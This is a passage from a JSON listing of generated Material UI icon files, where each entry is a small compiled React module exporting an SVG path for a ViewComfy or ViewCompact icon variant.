    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-9 13H7v-4h4zm0-6H7V7h4zm6 6h-4v-4h4zm0-6h-4V7h4z\"\n}), 'ViewComfyAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfyAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7h4v4H7zm6 0h4v4h-4zm-6 6h4v4H7zm6 0h4v4h-4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"1\")], 'ViewComfyAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfyAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7h4v4H7zm6 0h4v4h-4zm-6 6h4v4H7zm6 0h4v4h-4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"1\")], 'ViewComfyAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfyAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-9.5 13h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m0-6h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m6 6h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m0-6h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5\"\n}), 'ViewComfyAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfyAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-9.5 13h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m0-6h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m6 6h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m0-6h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5\"\n}), 'ViewComfyAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfyAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v16h20V4zm9 13H7v-4h4zm0-6H7V7h4zm6 6h-4v-4h4zm0-6h-4V7h4z\"\n}), 'ViewComfyAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfyAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v16h20V4zm9 13H7v-4h4zm0-6H7V7h4zm6 6h-4v-4h4zm0-6h-4V7h4z\"\n}), 'ViewComfyAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfyAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h16V6H4zm9-11h4v4h-4zm0 6h4v4h-4zM7 7h4v4H7zm0 6h4v4H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7h4v4H7zm6 0h4v4h-4zm-6 6h4v4H7zm6 0h4v4h-4z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"2\")], 'ViewComfyAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfyAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h16V6H4zm9-11h4v4h-4zm0 6h4v4h-4zM7 7h4v4H7zm0 6h4v4H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7h4v4H7zm6 0h4v4h-4zm-6 6h4v4H7zm6 0h4v4h-4z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"2\")], 'ViewComfyAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v16h20V4zm2 2h16v5H4zm0 12v-5h4v5zm6 0v-5h10v5z\"\n}), 'ViewComfyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v16h20V4zm2 2h16v5H4zm0 12v-5h4v5zm6 0v-5h10v5z\"\n}), 'ViewComfyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 5v5c0 .55.45 1 1 1h18c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1m9 15h10c.55 0 1-.45 1-1v-5c0-.55-.45-1-1-1H11c-.55 0-1 .45-1 1v5c0 .55.45 1 1 1m-8 0h4c.55 0 1-.45 1-1v-5c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v5c0 .55.45 1 1 1\"\n}), 'ViewComfyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 5v5c0 .55.45 1 1 1h18c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1m9 15h10c.55 0 1-.45 1-1v-5c0-.55-.45-1-1-1H11c-.55 0-1 .45-1 1v5c0 .55.45 1 1 1m-8 0h4c.55 0 1-.45 1-1v-5c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v5c0 .55.45 1 1 1\"\n}), 'ViewComfyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v7h20V4zm8 16h12v-7H10zm-8 0h6v-7H2z\"\n}), 'ViewComfySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v7h20V4zm8 16h12v-7H10zm-8 0h6v-7H2z\"\n}), 'ViewComfySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 18h10v-5H10zM4 6v5h16V6zm0 12h4v-5H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v16h20V4zm6 14H4v-5h4zm12 0H10v-5h10zm0-7H4V6h16z\"\n}, \"1\")], 'ViewComfyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 18h10v-5H10zM4 6v5h16V6zm0 12h4v-5H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v16h20V4zm6 14H4v-5h4zm12 0H10v-5h10zm0-7H4V6h16z\"\n}, \"1\")], 'ViewComfyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompact.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h2.5v-2.5H4zm0-4.75h2.5v-2.5H4zM4 8.5h2.5V6H4zM17.5 6v2.5H20V6zM13 8.5h2.5V6H13zm4.5 9.5H20v-2.5h-2.5zm0-4.75H20v-2.5h-2.5zM8.5 18H11v-2.5H8.5zm4.5 0h2.5v-2.5H13zM8.5 8.5H11V6H8.5zm4.5 4.75h2.5v-2.5H13zm-4.5 0H11v-2.5H8.5z\"\n}), 'ViewCompact');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompact.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h2.5v-2.5H4zm0-4.75h2.5v-2.5H4zM4 8.5h2.5V6H4zM17.5 6v2.5H20V6zM13 8.5h2.5V6H13zm4.5 9.5H20v-2.5h-2.5zm0-4.75H20v-2.5h-2.5zM8.5 18H11v-2.5H8.5zm4.5 0h2.5v-2.5H13zM8.5 8.5H11V6H8.5zm4.5 4.75h2.5v-2.5H13zm-4.5 0H11v-2.5H8.5z\"\n}), 'ViewCompact');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8.5 12.5h-4v-4h4zm0-5h-4v-4h4zm5 5h-4v-4h4zm0-5h-4v-4h4z\"\n}), 'ViewCompactAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8.5 12.5h-4v-4h4zm0-5h-4v-4h4zm5 5h-4v-4h4zm0-5h-4v-4h4z\"\n}), 'ViewCompactAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 7.5h4v4h-4zm5 0h4v4h-4zm-5 5h4v4h-4zm5 0h4v4h-4z\"\n}, \"1\")], 'ViewCompactAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 7.5h4v4h-4zm5 0h4v4h-4zm-5 5h4v4h-4zm5 0h4v4h-4z\"\n}, \"1\")], 'ViewCompactAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-9 12.5H8c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m0-5H8c-.28 0-.5-.22-.5-.5V8c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m5 5h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m0-5h-3c-.28 0-.5-.22-.5-.5V8c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5\"\n}), 'ViewCompactAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-9 12.5H8c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m0-5H8c-.28 0-.5-.22-.5-.5V8c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m5 5h-3c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5m0-5h-3c-.28 0-.5-.22-.5-.5V8c0-.28.22-.5.5-.5h3c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5\"\n}), 'ViewCompactAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zM11.5 16.5h-4v-4h4zm0-5h-4v-4h4zm5 5h-4v-4h4zm0-5h-4v-4h4z\"\n}), 'ViewCompactAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zM11.5 16.5h-4v-4h4zm0-5h-4v-4h4zm5 5h-4v-4h4zm0-5h-4v-4h4z\"\n}), 'ViewCompactAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h16V6H4zm8.5-10.5h4v4h-4zm0 5h4v4h-4zm-5-5h4v4h-4zm0 5h4v4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 7.5h4v4h-4zm5 0h4v4h-4zm-5 5h4v4h-4zm5 0h4v4h-4z\"\n}, \"2\")], 'ViewCompactAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h16V6H4zm8.5-10.5h4v4h-4zm0 5h4v4h-4zm-5-5h4v4h-4zm0 5h4v4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 7.5h4v4h-4zm5 0h4v4h-4zm-5 5h4v4h-4zm5 0h4v4h-4z\"\n}, \"2\")], 'ViewCompactAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v16h20V4zm4.5 14H4v-2.5h2.5zm0-4.75H4v-2.5h2.5zm0-4.75H4V6h2.5zM11 18H8.5v-2.5H11zm0-4.75H8.5v-2.5H11zm0-4.75H8.5V6H11zm4.5 9.5H13v-2.5h2.5zm0-4.75H13v-2.5h2.5zm0-4.75H13V6h2.5zM20 18h-2.5v-2.5H20zm0-4.75h-2.5v-2.5H20zm0-4.75h-2.5V6H20z\"\n}), 'ViewCompactOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v16h20V4zm4.5 14H4v-2.5h2.5zm0-4.75H4v-2.5h2.5zm0-4.75H4V6h2.5zM11 18H8.5v-2.5H11zm0-4.75H8.5v-2.5H11zm0-4.75H8.5V6H11zm4.5 9.5H13v-2.5h2.5zm0-4.75H13v-2.5h2.5zm0-4.75H13V6h2.5zM20 18h-2.5v-2.5H20zm0-4.75h-2.5v-2.5H20zm0-4.75h-2.5V6H20z\"\n}), 'ViewCompactOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h2.5v-2.5H4zm0-4.75h2.5v-2.5H4zM4 8.5h2.5V6H4zM17.5 6v2.5H20V6zM13 8.5h2.5V6H13zm4.5 9.5H20v-2.5h-2.5zm0-4.75H20v-2.5h-2.5zM8.5 18H11v-2.5H8.5zm4.5 0h2.5v-2.5H13zM8.5 8.5H11V6H8.5zm4.5 4.75h2.5v-2.5H13zm-4.5 0H11v-2.5H8.5z\"\n}), 'ViewCompactRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h2.5v-2.5H4zm0-4.75h2.5v-2.5H4zM4 8.5h2.5V6H4zM17.5 6v2.5H20V6zM13 8.5h2.5V6H13zm4.5 9.5H20v-2.5h-2.5zm0-4.75H20v-2.5h-2.5zM8.5 18H11v-2.5H8.5zm4.5 0h2.5v-2.5H13zM8.5 8.5H11V6H8.5zm4.5 4.75h2.5v-2.5H13zm-4.5 0H11v-2.5H8.5z\"\n}), 'ViewCompactRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h2.5v-2.5H4zm0-4.75h2.5v-2.5H4zM4 8.5h2.5V6H4zM17.5 6v2.5H20V6zM13 8.5h2.5V6H13zm4.5 9.5H20v-2.5h-2.5zm0-4.75H20v-2.5h-2.5zM8.5 18H11v-2.5H8.5zm4.5 0h2.5v-2.5H13zM8.5 8.5H11V6H8.5zm4.5 4.75h2.5v-2.5H13zm-4.5 0H11v-2.5H8.5z\"\n}), 'ViewCompactSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h2.5v-2.5H4zm0-4.75h2.5v-2.5H4zM4 8.5h2.5V6H4zM17.5 6v2.5H20V6zM13 8.5h2.5V6H13zm4.5 9.5H20v-2.5h-2.5zm0-4.75H20v-2.5h-2.5zM8.5 18H11v-2.5H8.5zm4.5 0h2.5v-2.5H13zM8.5 8.5H11V6H8.5zm4.5 4.75h2.5v-2.5H13zm-4.5 0H11v-2.5H8.5z\"\n}), 'ViewCompactSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCompactTwoTone.js",
